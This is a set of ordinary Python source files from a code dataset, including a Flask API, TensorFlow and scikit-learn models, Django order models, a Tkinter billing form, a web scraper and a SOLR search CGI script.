'''\n\n\n@app.route(\"/getEligibleHosts\", methods = [\"GET\"])\ndef get_eligible_hosts():\n '''Find every chideoer who hasnt hosted yet in the year of the\n next MLM'''\n last_mlm = most_recent_mlm_week()\n next_mlm = last_mlm + timedelta(days = 7)\n hosts = (\n db.session.query(\n ChideoEmployee.id,\n ChideoEmployee.name\n )\n .outerjoin(HostEngagement, and_(\n ChideoEmployee.id == HostEngagement.chideoer_id, \n func.date_part(\"YEAR\", HostEngagement.week_of_hosting) == next_mlm.year\n )\n )\n .filter(HostEngagement.id == None)\n .all()\n )\n return jsonify({\n \"HostCount\":len(hosts),\n \"HostList\": serialize_hosts(hosts),\n \"LastHostWeek\": datetime.strftime(last_mlm, \"%Y-%m-%d\"),\n \"NextHostWeek\": datetime.strftime(next_mlm, \"%Y-%m-%d\")\n })\n\n\nif __name__ == \"__main__\":\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168062732","text":"names = ['hamza', 'khurram', 'musab']\r\n\r\n#max() ->it gives name on basis on length \r\nprint(max(names, key = lambda item : len(item)))\r\n\r\n#min() ->it gives name on basis on length \r\nprint(min(names, key = lambda item : len(item)))\r\n\r\nstudents_dict = { #dict inside dict\r\n 'hamza' : {'score' : 10, 'age' : 22},\r\n 'uzair' : { 'score' : 70, 'age' : 20},\r\n 'khurram' : { 'score' : 40, 'age' : 20}\r\n}\r\nprint( max( students_dict, key = lambda item : students_dict[item]['score'] ) )# student[key][value]\r\n\r\nstudents_lst = [ #dict inside list\r\n {'name' : 'hamza', 'score' : 10, 'age' : 22},\r\n {'name' : 'uzair', 'score' : 70, 'age' : 20},\r\n {'name' : 'khurram', 'score' : 40, 'age' : 20}\r\n]\r\n#high scored person name\r\nprint( max(students_lst, key = lambda a : a.get('score'))['name'] ) \r\n","sub_path":"Python Crash Course By Erric Mathhes/Ch13_built-in_advancedFunctions/advanced_min_max_functions.py","file_name":"advanced_min_max_functions.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268445945","text":"import tensorflow as tf\n\nclass Model(object):\n def __init__(self, sess, name, X, inputs, Y, keep_prob):\n self.sess = sess\n self.name = name\n self.X = X\n self.inputs = inputs\n self.Y = Y\n self.keep_prob = keep_prob\n\n def _cnn_layer(self, inputs, f_size, f_num, cs_size, pk_size, ps_size, padding='SAME'):\n inputs_f_num = inputs.get_shape().as_list()[-1]\n W = tf.Variable(tf.random_normal([f_size, f_size, inputs_f_num, f_num], stddev=0.01))\n L = tf.nn.conv2d(inputs, W, strides=[1, cs_size, cs_size, 1], padding='SAME')\n L = tf.nn.relu(L)\n L = tf.nn.dropout(L, keep_prob=self.keep_prob)\n L = tf.nn.conv2d(inputs, W, strides=[1, cs_size, cs_size, 1], padding='SAME')\n L = tf.nn.relu(L)\n L = tf.nn.dropout(L, keep_prob=self.keep_prob)\n L = tf.nn.max_pool(L, ksize=[1,pk_size,pk_size,1], strides=[1,ps_size,ps_size,1], padding='SAME')\n return L\n\n def build_net(self, layer_num, f_size_arr, f_num_arr, cs_size_arr, pk_size_arr, ps_size_arr, padding='SAME', lr=0.001):\n # self.inputs are cnn's first input\n L = self._cnn_layer(self.inputs, f_size_arr[0], f_num_arr[0], cs_size_arr[0], pk_size_arr[0], ps_size_arr[0], self.keep_prob)\n # stack layers\n for n in range(1,layer_num):\n L = self._cnn_layer(L, f_size_arr[n], f_num_arr[n], cs_size_arr[n], pk_size_arr[n], ps_size_arr[n], self.keep_prob)\n\n # calculate reshape_size\n reshape_size = 1\n for i in L.get_shape().as_list()[1:]:\n reshape_size *= i\n L = tf.reshape(L, [-1, reshape_size])\n\n # fully connected layers - 1\n W1 = tf.get_variable('W1' + self.name, shape=[reshape_size,128], initializer=tf.contrib.layers.xavier_initializer())\n b1 = tf.Variable(tf.random_normal([128]))\n FL = tf.matmul(L, W1) + b1\n\n # fully connected layers - 2\n W2 = tf.get_variable('W2' + self.name, shape=[128,10], initializer=tf.contrib.layers.xavier_initializer())\n b2 = tf.Variable(tf.random_normal([10]))\n self.hypothesis = tf.matmul(FL, W2) + b2\n\n self.cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=self.hypothesis, labels=self.Y))\n self.optimizer = tf.train.AdamOptimizer(learning_rate=lr).minimize(self.cost)\n \n is_correct = tf.equal(tf.arg_max(self.hypothesis, 1), tf.arg_max(self.Y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(is_correct, tf.float32))\n\n def train(self, x_data, y_data, keep_prob=0.7):\n return self.sess.run([self.cost, self.optimizer], feed_dict={self.X: x_data, self.Y: y_data, self.keep_prob: keep_prob})\n \n def get_accuracy(self, x_test, y_test, keep_prob=1.0):\n return self.sess.run(self.accuracy, feed_dict={self.X: x_test, self.Y: y_test, self.keep_prob: keep_prob})\n\n def prediction(self, test_img, keep_prob=1.0):\n return self.sess.run(self.hypothesis, feed_dict={self.X: test_img, self.keep_prob:keep_prob})\n\n","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593000021","text":"from django.db import models\nfrom ..users.models import User\nfrom ..products.models import Product\n\n# Create your models here.\nclass OrderManager(models.Manager):\n def add_product(self, form_data, user_id):\n # cart is the current order, cart is an Order object\n cart = self.get_active_cart(user_id)\n product = Product.objects.get(id=form_data['product_id'])\n # check to see if order already has at least one of current product attached\n attached_products = cart.order_products.filter(product=product.id)\n print(attached_products)\n if attached_products:\n order_item = attached_products[0]\n order_item.amount += 1\n order_item.save()\n else:\n OrderProduct.objects.create(\n product = product,\n order = cart,\n amount = 1\n )\n product.num_available -= 1\n product.save()\n return\n \n def get_active_cart(self, user_id):\n active_orders = self.filter(user=user_id).filter(in_progress=False)\n if active_orders:\n cart = active_orders[0]\n else:\n cart = self.create_default_order(user_id)\n return cart\n \n def create_default_order(self, user_id):\n user = User.objects.get(id=user_id)\n return self.create(\n is_fulfilled = False,\n in_progress = False,\n user = user,\n )\n \n def place_order(self, order_id, user_id):\n order = self.get(id=order_id)\n order.in_progress = True\n order.save()\n self.create_default_order(user_id)\n return\n\nclass Order(models.Model):\n is_fulfilled = models.BooleanField()\n in_progress = models.BooleanField()\n user = models.ForeignKey(User, related_name=\"orders\")\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n objects = OrderManager()\n\nclass OrderProductManager(models.Manager):\n pass\n\nclass OrderProduct(models.Model):\n product = models.ForeignKey(Product, related_name=\"order_products\")\n order = models.ForeignKey(Order, related_name=\"order_products\")\n amount = models.IntegerField()\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)","sub_path":"00-lecture/python2/week6/day1/dojozon/apps/orders/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"341147381","text":"from tkinter import *\r\na = Tk()\r\na.title (\"SHOP INFO\")\r\na.iconbitmap(\"shops.ico\")\r\n\r\ndef calculateTotal(event):\r\n data_one = rate1_box.get()\r\n data_two = rate2_box.get()\r\n data_three = rate3_box.get()\r\n data_four = rate4_box.get()\r\n data_five = rate5_box.get()\r\n if (event.widget==rate1_box):\r\n data_one = rate1_box.get()+event.char\r\n if (event.widget==rate2_box):\r\n data_two = rate2_box.get()+event.char\r\n if (event.widget==rate3_box):\r\n data_three = rate3_box.get()+event.char\r\n if (event.widget==rate4_box):\r\n data_four = rate4_box.get()+event.char\r\n if (event.widget==rate5_box):\r\n data_five = rate5_box.get()+event.char\r\n\r\n if (len(data_one)==0):\r\n data_one =0\r\n else:\r\n data_one = int(data_one)\r\n if (len(data_two)==0):\r\n data_two =0\r\n else:\r\n data_two = int(data_two)\r\n if (len(data_three)==0):\r\n data_three =0\r\n else:\r\n data_three = int(data_three)\r\n if (len(data_four)==0):\r\n data_four =0\r\n else:\r\n data_four = int(data_four)\r\n if (len(data_five)==0):\r\n data_five =0\r\n else:\r\n data_five = int(data_five)\r\n\r\n res = data_one+data_two+data_three+data_four+data_five\r\n total_box.delete(0,END)\r\n total_box.insert(INSERT,res)\r\n\r\ndef discount (event):\r\n g = int (total_box.get())\r\n h = int (discount_box.get()+event.char)\r\n \r\n grand = g - ((g*h)/100)\r\n grand_box.delete(0,END)\r\n grand_box.insert(INSERT,grand)\r\n\r\nshop_name = Label(a,text = \"KAPOOR GARMENT\", fg = \"red\")\r\nshop_add = Label(a,text = \"1,kotha Parcha,Alld\", fg = \"red\")\r\nshop_mobile = Label(a,text = \"0987654321\", fg = \"red\")\r\nshop_state = Label(a,text = \"Uttar Pradesh\", fg = \"red\")\r\ncuname_label = Label(a,text = \"Customer Name\" , fg = \"white\" , bg = \"black\")\r\ncuname_box = Entry(a)\r\nmobile_label = Label(a,text = \"Customer mobile no.\" , fg = \"white\" , bg = \"black\")\r\nmobile_box = Entry(a)\r\ntotal_label = Label(a,text = \"Total Amount\" , fg = \"white\" , bg = \"black\")\r\ntotal_box = Entry(a)\r\nitem_label = Label(a,text = \"ITEM\", fg = \"red\")\r\nname_label = Label(a,text = \"NAME\", fg = \"white\", bg = \"black\").grid(row =10 , column =1, padx =8 , pady =8 , ipadx =5 , ipady =5)\r\nrate_label = Label(a,text = \"RATE\", fg = \"white\", bg = \"black\").grid(row =10 , column =2 , padx =8 , pady =8 , ipadx =5 , ipady =5)\r\ndiscount_label = Label(a,text = \"DISCOUNT\", fg = \"white\", bg = \"black\").grid(row =17 , column =1 , padx =8 , pady =8 , ipadx =5 , ipady =5)\r\ndiscount_box = Entry(a)\r\ndiscount_box.grid(row =17 , column =2 , padx =8 , pady =8 , ipadx =5 , ipady =5)\r\ndiscount_box.bind(\"\",discount)\r\ngrand_label = Label(a,text = \"GRAND TOTAL\", fg = \"white\", bg = \"black\").grid(row =18 , column =1 , padx =8 , pady =8 , ipadx =5 , ipady =5)\r\ngrand_box = Entry(a)\r\ngrand_box.grid(row =18 , column =2 , padx =8 , pady =8 , ipadx =5 , ipady =5)\r\npay_label = Label(a,text = \"PAY BILL AMOUNT\", fg = \"white\", bg = \"black\").grid(row =19 , column =1 , padx =8 , pady =8 , ipadx =5 , ipady =5)\r\npay_box = Entry(a).grid(row =19 , column =2 , padx =8 , pady =8 , ipadx =5 , ipady =5)\r\nb_label = Label(a,text = 1).grid(row =11 , column =0)\r\nitemname1_box = Entry(a).grid(row = 11 , column = 1)\r\nrate1_box = Entry(a)\r\nrate1_box.grid(row = 11 , column = 2)\r\nc_label = Label(a,text = 2 ).grid(row =12 , column = 0)\r\nitemname2_box = Entry(a).grid(row = 12 , column = 1)\r\nrate2_box = Entry(a)\r\nrate2_box.grid(row = 12 , column = 2)\r\nd_label = Label(a,text = 3 ).grid(row =13 , column = 0)\r\nitemname3_box = Entry(a).grid(row = 13 , column = 1)\r\nrate3_box = Entry(a)\r\nrate3_box.grid(row = 13 , column = 2)\r\ne_label = Label(a,text = 4 ).grid(row =14 , column = 0)\r\nitemname4_box = Entry(a).grid(row = 14 , column = 1)\r\nrate4_box = Entry(a)\r\nrate4_box.grid(row = 14 , column = 2)\r\nf_label = Label(a,text = 5 ).grid(row =15 , column = 0)\r\nitemname5_box = Entry(a).grid(row = 15 , column = 1)\r\nrate5_box = Entry(a)\r\nrate5_box.grid(row = 15 , column = 2)\r\nshop_name.grid(row =0 , column =1 , padx =6 , pady =6 )\r\nshop_add.grid(row =1 , column =1 , padx =6 , pady =6 )\r\nshop_mobile.grid(row =2 , column =1 , padx =6 , pady =6 )\r\nshop_state.grid(row =3 , column =1 , padx =6 , pady =6 )\r\ncuname_label.grid(row = 4 , column = 0 , padx = 6 , pady = 6 , ipadx = 7 , ipady = 7)\r\ncuname_box.grid(row = 4 , column = 1 , padx = 4 , pady = 4 , ipadx = 6 , ipady = 6)\r\nmobile_label.grid(row = 5 , column = 0 , padx = 2 , pady = 2 , ipadx = 6 , ipady = 6)\r\nmobile_box.grid(row = 5 , column = 1 , padx = 4 , pady = 4 , ipadx = 6 , ipady = 6)\r\ntotal_label.grid(row = 16 , column = 1 , padx = 4 , pady = 4 , ipadx = 5 , ipady = 5)\r\ntotal_box.grid(row = 16 , column = 2 , padx = 4 , pady = 4 , ipadx = 5 , ipady = 5)\r\nrate1_box.bind(\"\",calculateTotal)\r\nrate2_box.bind(\"\",calculateTotal)\r\nrate3_box.bind(\"\",calculateTotal)\r\nrate4_box.bind(\"\",calculateTotal)\r\nrate5_box.bind(\"\",calculateTotal)\r\nitem_label.grid(row = 9 , column = 1, padx = 4, pady = 4, ipadx = 5 , ipady = 5)\r\n\r\na.mainloop()\r\n","sub_path":"billing/billing.py","file_name":"billing.py","file_ext":"py","file_size_in_byte":5024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"332335000","text":"'''\n Assumptions: \n\tShorter time horizons are often easier to predict with higher confidence.\n Frequency: Perhaps data is provided at a frequency that is too high to \n\t model or is unevenly spaced through time requiring RESAMPLING for \n\t use in some models.\n Outliers: Perhaps there are corrupt or extreme outlier values that need to\n\t be identified and handled.\n Missing: Perhaps there are gaps or missing data that need to be \n\t interpolated or imputed.\n'''\n\n# univariate stacked lstm example\nfrom numpy import array\nimport numpy as np\nfrom keras import optimizers\nfrom keras.models import Sequential\nfrom keras.layers import LSTM\nfrom keras.layers import Dense\nfrom scipy.io import wavfile\n\n# Hiper parameters.\n# 1 if mono. 2 if stereo. \nn_features = 1\n# Choose a number of time steps. In our use case this is the WAV file rate.\nn_steps = 3 # Overriden below.\n\n# split a univariate sequence into samples\ndef split_sequence(sequence, n_steps):\n\tX, y = list(), list()\n\tfor i in range(len(sequence)):\n\t\t# find the end of this pattern\n\t\tend_ix = i + n_steps\n\t\t# check if we are beyond the sequence\n\t\tif end_ix > len(sequence)-1:\n\t\t\tbreak\n\t\t# gather input and output parts of the pattern\n\t\tseq_x, seq_y = sequence[i:end_ix], sequence[end_ix]\n\t\tX.append(seq_x)\n\t\ty.append(seq_y)\n\treturn array(X), array(y)\n\n# define input sequence\nrate, raw_seq = wavfile.read('songs/hakuna_matata.wav')\nraw_seq = raw_seq[np.logical_not(np.isnan(raw_seq))]\nraw_seq = raw_seq.astype(int)\n\n# choose a number of time steps\nn_steps = 1\n\n# sample\n#raw_seq = raw_seq # random sample. dev purposes.\n\n# split into samples\nX = raw_seq[0:1323000] #split_sequence(raw_seq, n_steps)\ny = raw_seq[1323000:1345050]\n# reshape from [samples, timesteps] into [samples, timesteps, features]\nX = X.reshape((X.shape[0], X.shape[1], n_features))\nprint(X.shape)\n\n# define model\nmodel = Sequential()\nmodel.add(LSTM(1, activation='relu', return_sequences=True, input_shape=(n_steps, n_features)))\nmodel.add(LSTM(10, activation='relu'))\nmodel.add(Dense(1))\nadam_optimizer = optimizers.Adam()\nmodel.compile(optimizer=adam_optimizer, loss='mse')\n\n# fit model\nmodel.fit(X, y, epochs=8, batch_size=1, verbose=1)\n# demonstrate prediction\nx_input = raw_seq[:n_steps]\nx_input = x_input.reshape((1, n_steps, n_features))\nyhat = model.predict(x_input, verbose=0)\nprint(yhat)","sub_path":"investigation/midi/forecasting.py","file_name":"forecasting.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"52106220","text":"import time\nfrom machine import Pin\nfrom onewire import OneWire\nfrom ds18x20 import DS18X20\n\nclass TemperatureSensor:\n \"\"\"\n Represents a Temperature sensor\n \"\"\"\n\n def __init__(self, pin, name):\n \"\"\"\n Finds address of single DS18B20 on bus specified by `pin`\n :param pin: 1-Wire bus pin\n :type pin: int\n \"\"\"\n self.name = name\n \n self.ds = DS18X20(OneWire(Pin(pin)))\n addrs = self.ds.scan()\n if not addrs:\n raise Exception('no DS18B20 found at bus on pin %d' % pin)\n # save what should be the only address found\n self.addr = addrs\n def read_temp(self, fahrenheit=True, addr_num=0):\n \"\"\"\n Reads temperature from a DS18X20 thermocouple\n :param fahrenheit: Whether or not to return value in Fahrenheit\n :type fahrenheit: bool\n :return: Temperature\n :rtype: float\n \"\"\"\n\n #First we gotta collect the addresses\n\n self.ds.convert_temp()\n time.sleep_ms(750)\n temp = self.ds.read_temp(self.addr[addr_num])\n if fahrenheit:\n return self.c_to_f(temp)\n return temp \n @staticmethod\n def c_to_f(c):\n \"\"\"\n Converts Celsius to Fahrenheit\n :param c: Temperature in Celsius\n :type c: float\n :return: Temperature in Fahrenheit\n :rtype: float\n \"\"\"\n return (c * 1.8) + 32\n\n def return_addrs():\n #this should just print out available sensors id's\n self.ds.scan()\n\n","sub_path":"temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"540820850","text":"from sklearn.datasets import load_digits\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import confusion_matrix\n\n\nimport matplotlib.pyplot as plt \nimport numpy as np\n\n\n(data , targets) = load_digits(return_X_y =True)\n\nprint(data.shape)\nprint(targets.shape)\n#plt.gray() \n#plt.matshow(digits.images[0]) \n#plt.show()\n\ndata = np.array(data)\ntargets = np.array(targets)\n\nX_train, X_test, y_train, y_test = train_test_split(data, targets, test_size=0.3 ,random_state=1)\n\nsvc = SVC()\n\nparam = {'C':[10] , 'kernel':['poly'] , 'gamma':[0.5] , 'degree':[2,3,4,5,6,7]}\n\ngsearch = GridSearchCV(estimator=svc , param_grid=param);\ngsearch.fit(X_train , y_train)\n\nresult = gsearch.cv_results_ \n\nprint(result['mean_test_score'])\nprint(result['std_test_score'])\nprint(result['params'])\nprint(gsearch.best_score_ )\nprint(gsearch.best_params_ )\n\n#mat = confusion_matrix(y_test , svc.predict(X_test))\n\n#ax = sns.heatmap(mat)\n\n\nimg = load_digits()\n\nfor i in range(0,img.data.shape[0]):\n \n pre = gsearch.predict([img.data[i]])\n #plt.matshow(img.images[batch[i]]) \n #plt.show()\n if pre!=img.target[i]:\n print(\"predict:\" , pre , \"reality: \" , img.target[i])\n #plt.matshow(img.images[i]) \n #plt.show()\n","sub_path":"project/digit.py","file_name":"digit.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"65986442","text":"#Many props to Francois Inglerest, much of this cdcover code is based on the knowledge from decibel\ntry: import urllib.request as urllib\nexcept: import urllib2 as urllib\nimport os.path\nfrom gi.repository import GdkPixbuf\nimport threading\nfrom settings import sopranoGlobals\n\nLASTFM_API_KEY = 'e92e11a5f1a8f8f154b45face4398499' #My Personal LastFM key, get your own if using this code in another application\nUSERAGENT = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/7.0.0'\n\nclass getCover(threading.Thread):\n\tdef __init__(self, artist, album, filelocation=None):\n\t\tself.artist = artist\n\t\tself.album = album\t\n\t\tself.filelocation = filelocation\n\n\tdef getLastFMCover(self, artist, album):\n\t\timport socket\n\t\tsocket.setdefaulttimeout(1)\n\t\ttry:\n\t\t\turl = 'http://ws.audioscrobbler.com/2.0/?method=album.getinfo&api_key=%s&artist=%s&album=%s' % (LASTFM_API_KEY, artist, album)\n\t\t\trequest = urllib.Request(url, headers = {'User-Agent': USERAGENT})\n\t\t\tstream = urllib.urlopen(request)\n\t\t\tdata = stream.read().decode(\"utf8\")\n\t\texcept:\n\t\t\treturn False\n\t\tstartIdx = data.find('')\n\t\tendIdx = data.find('', startIdx)\n\t\tif startIdx != -1 and endIdx != -1:\n\t\t coverURL = data[startIdx+len(''):endIdx]\n\n\t\ttry:\n\t\t\trequest = urllib.Request(coverURL, headers = {'User-Agent': USERAGENT})\n\t\t\tstream = urllib.urlopen(request, None, 50)\n\t\t\tdata = stream.read()\n\t\t\toutput = open(sopranoGlobals.CACHEFILE, 'wb')\n\t\t\toutput.write(data)\n\t\t\toutput.close()\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n\n\tdef getLocalCover(self, filelocation=None):\n\t\tif filelocation:\n\t\t\tself.folderjpg = os.path.split(filelocation)[0] + '/' + 'Folder.jpg'\n\t\t\tif os.path.exists(self.folderjpg):\n\t\t\t\tstream = open(self.folderjpg, 'r')\n\t\t\t\tdata = stream.read()\t\t\t\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\treturn False\t\n\n\tdef run(self):\n\t\tif self.getLocalCover(self.filelocation):\n\t\t\timg = GdkPixbuf.Pixbuf().new_from_file(self.folderjpg)\n\t\telif self.getLastFMCover(self.artist, self.album):\t\t\n\t\t\timg = GdkPixbuf.Pixbuf().new_from_file(sopranoGlobals.CACHEFILE)\n\t\telse:\n\t\t\timg = sopranoGlobals.PLACEHOLDER\n\t\treturn img\n\n#Debugging stuff and example usage below this, comment out when in use\n\"\"\"from gi.repository import Gtk, GObject\nimg = Gtk.Image()\nwin = Gtk.Window()\nwin.connect(\"delete-event\", Gtk.main_quit)\nwin.add(img)\nwin.show_all()\n\ncoverFetch = getCover('Bob%20Dylan', 'Modern%20Times')\npixbuf = coverFetch.run()\nimg.set_from_pixbuf(pixbuf)\n\nGtk.main()\"\"\"\n","sub_path":"iconoclast/completed Modules/music/cdcover.py","file_name":"cdcover.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"464249606","text":"import sys\nimport os\nimport caffe\nfrom caffe.proto import caffe_pb2\nimport numpy\n\ncifar_map = {\n 0: \"man\",\n 1: \"woman\"\n}\n\nos.system('convert ' + sys.argv[1] + ' -equalize test.jpg')\n\nmean_blob = caffe_pb2.BlobProto()\nwith open('caffe/examples/handson/mean.binaryproto') as f:\n mean_blob.ParseFromString(f.read())\n\nmean_array = numpy.asarray(mean_blob.data, dtype=numpy.float32).reshape(\n (mean_blob.channels, mean_blob.height, mean_blob.width)\n)\n\nclassifier = caffe.Classifier(\n 'caffe/examples/handson/handson_quick.prototxt',\n 'caffe/examples/handson/handson_quick_iter_4000.caffemodel.h5',\n mean = mean_array,\n raw_scale = 255)\n\nimage = caffe.io.load_image('test.jpg')\npredictions = classifier.predict([image], oversample= False)\nanswer = numpy.argmax(predictions)\nprint(predictions)\nprint(str(answer) + \":\" + cifar_map[answer])\n","sub_path":"handson_classifier.py","file_name":"handson_classifier.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"7909801","text":"#!/usr/bin/env python3\n\nimport requests\nimport json\nimport cgi\nimport cgitb\nimport sys\ncgitb.enable(display=0, logdir=\"/usr/local/apache2/logs/cgitb\")\n\n# URL prefix for SOLR query service\n# XXX should work with both EDINA and BL\nservice = \"http://laaws-indexer-solr:8983/solr/test-core/select\"\n# URL prefix for OpenWayback\nwayback = \"http://demo.laaws.lockss.org:8080/wayback/*\"\nmessage = 'Content-Type:text/html' + '\\n\\n' + '

Text Search

\\n'\nredirectTo = None\nurlArray = []\n\n# return a Dictionary with the query params\ndef queryParams(s):\n if 'Search' in s:\n ret = {}\n ret['q'] = s[\"Search\"].value\n ret['indent'] = \"on\"\n ret['wt'] = \"json\"\n else:\n ret = None\n return ret\n\ntry:\n if(len(sys.argv) > 1):\n # Run from command line\n params = {}\n params['q'] = sys.argv[1]\n params['indent'] = \"on\"\n params['wt'] = \"json\"\n else:\n # get data from web page form\n input_data=cgi.FieldStorage()\n # convert to SOLR query params\n params = queryParams(input_data)\n \n if params != None:\n message = message + \"SOLR search for {}
\\n
\\n\".format(params['q'])\n # query the service\n solrResponse = requests.get(service, params=params)\n status = solrResponse.status_code\n if(status == 200):\n # parse the JSON we got back\n solrData = solrResponse.json()\n # XXX response is paginated\n if \"response\" in solrData and \"docs\" in solrData[\"response\"]:\n docs = solrData[\"response\"][\"docs\"]\n if(len(docs) < 1 or docs[0] == None):\n message = message + \"docs is empty\"\n else:\n for doc in docs:\n url = None\n if \"response_url\" in doc:\n url = doc[\"response_url\"][0]\n elif \"url\" in doc:\n url = doc[\"url\"]\n if url != None:\n urlArray.append(url)\n else:\n message = message + \"No docs found\\n\"\n else:\n # SOLR search query unsuccessful\n message = message + \"SOLR service response: {}\\n\".format(status)\n else:\n # No search data from form\n message = message + \"No search string from form\\n\"\n if(len(urlArray) == 1):\n message = \"Location: {}\".format(urlArray[0]) + '\\n'\n elif len(urlArray) > 1:\n # multiple urls, create page of links\n message = message + '
    \\n'\n # Sorted neede to ensure consistent output order for testing\n for url in sorted(urlArray):\n message = message + '
  1. '.format(wayback,url) + \"{}
  2. \\n\".format(url)\n message = message + \"
\\n\"\n else:\n message = message + \"
\\nError: No URLs returned\\n\"\nexcept requests.exceptions.ConnectTimeout:\n message = message + 'Timeout connecting to DOI resolution service {}\\n'.format(service)\nexcept requests.exceptions.ConnectionError:\n message = message + 'Cannot connect to DOI resolution service {}\\n'.format(service)\nexcept:\n e = sys.exc_info()\n try:\n message = message + cgitb.text(e)\n except AttributeError:\n message = message + \"Got AttributeError: {}\\n\".format(e[0])\nprint(message)\n","sub_path":"docker/laaws-demo-webui/cgi-bin/text-search.py","file_name":"text-search.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94783283","text":"from mrjob.job import MRJob\n\nclass PMV_BIXI_Duration(MRJob):\n def mapper(self, key, line):\n if \"duration_sec\" not in line:\n start_date, start_station_code, end_date, end_station_code, duration_sec, is_member = line.split(',')\n period = int(duration_sec)/900\n yield [period,int(is_member)], 1\n\n\n def reducer(self,period_member,counts):\n yield period_member,sum(counts)\n\n\n\nif __name__ == '__main__':\n PMV_BIXI_Duration.run()","sub_path":"MapReduce/durations/PMV_BIXI_Duration.py","file_name":"PMV_BIXI_Duration.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235188947","text":"from __future__ import unicode_literals\nfrom utils import CanadianScraper, CanadianPerson as Person\n\nimport re\n\nCOUNCIL_PAGE = 'http://www.laval.ca/Pages/Fr/A-propos/conseillers-municipaux.aspx'\n\n\nclass LavalPersonScraper(CanadianScraper):\n\n def scrape(self):\n page = self.lxmlize(COUNCIL_PAGE)\n for councillor_row in page.xpath('//tr'):\n post = list(filter(None, (text.strip() for text in councillor_row.xpath('./td[2]/p/text()'))))[0]\n if post == 'Maire de Laval':\n district = 'Laval'\n role = 'Maire'\n else:\n district = re.sub(r'District.\\d+.- ', '', post).replace(\"L'\", '').replace(' ', '').replace('bois', 'Bois')\n role = 'Conseiller'\n full_name = list(filter(None, (text.strip() for text in councillor_row.xpath('./td[2]/p/text()'))))[1].strip()\n name = ' '.join(full_name.split()[1:])\n\n phone = councillor_row.xpath('.//span[@class=\"icon-phone\"]/following::text()')[0]\n email = self.get_email(councillor_row)\n photo_url = councillor_row[0][0].attrib['src']\n p = Person(primary_org='legislature', name=name, district=district, role=role, image=photo_url)\n p.add_source(COUNCIL_PAGE)\n p.add_contact('voice', phone, 'legislature')\n p.add_contact('email', email)\n yield p\n","sub_path":"ca_qc_laval/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419929235","text":"def main():\n N = int(input())\n robo = []\n\n for _ in range(N):\n x, l = map(int, input().split())\n robo.append((x-l, x+l))\n\n robo = sorted(robo, key=lambda x:x[1])\n\n ans = 0\n max = -10**9\n\n for r in robo:\n if r[0] >= max:\n ans += 1\n max = r[1]\n print(ans)\n return 0\n\nif __name__ == '__main__':\n main()\n","sub_path":"アルゴリズム_サブルーチン/区間スケジューリング.py","file_name":"区間スケジューリング.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"551065324","text":"import os\nimport numpy as np\nfrom math import hypot, acos, pi\nfrom Trace import distance, getratio, velocities_and_distance_covered, bettervariance, overlap\nfrom scipy.stats.mstats import mquantiles\n\ndef reject_outliers(data, m=2):\n '''http://stackoverflow.com/questions/11686720/is-there-a-numpy-builtin-to-reject-outliers-from-a-list'''\n data = np.asarray(data)\n return data[abs(data - np.mean(data)) < m * np.std(data)]\n\nclass Trace(object):\n \"\"\"\"\n Trace class reads a trace file and computes features of that trace. Version that uses outlier detection and no smoothing\n \"\"\"\n\n def __init__(self, filename, quantiles=[0.0, 0.25, 0.5, 0.75, 1.0]):\n \"\"\"Input: path and name of the file of a trace; how many filtering steps should be used for sliding window filtering\"\"\"\n self.__id = int(os.path.basename(filename).split(\".\")[0])\n self._x = []\n self._y = []\n with open(filename, \"r\") as trainfile:\n trainfile.readline() # skip header\n for line in trainfile:\n items = line.split(\",\", 2)\n self._x.append(float(items[0]))\n self._y.append(float(items[1]))\n self.rawfeaturelist = []\n self.rawfeaturelist.extend(self._x)\n self.rawfeaturelist.extend(self._y)\n triplength = distance(self._x[0], self._y[0], self._x[-1], self._y[-1])\n self.triptime = len(self._x)\n xvar, yvar = bettervariance(self._x, self._y)\n overlaps = overlap(self._x, self._y)\n self.featurelist = []\n self.featurelist.append(triplength)\n self.featurelist.append(self.triptime)\n 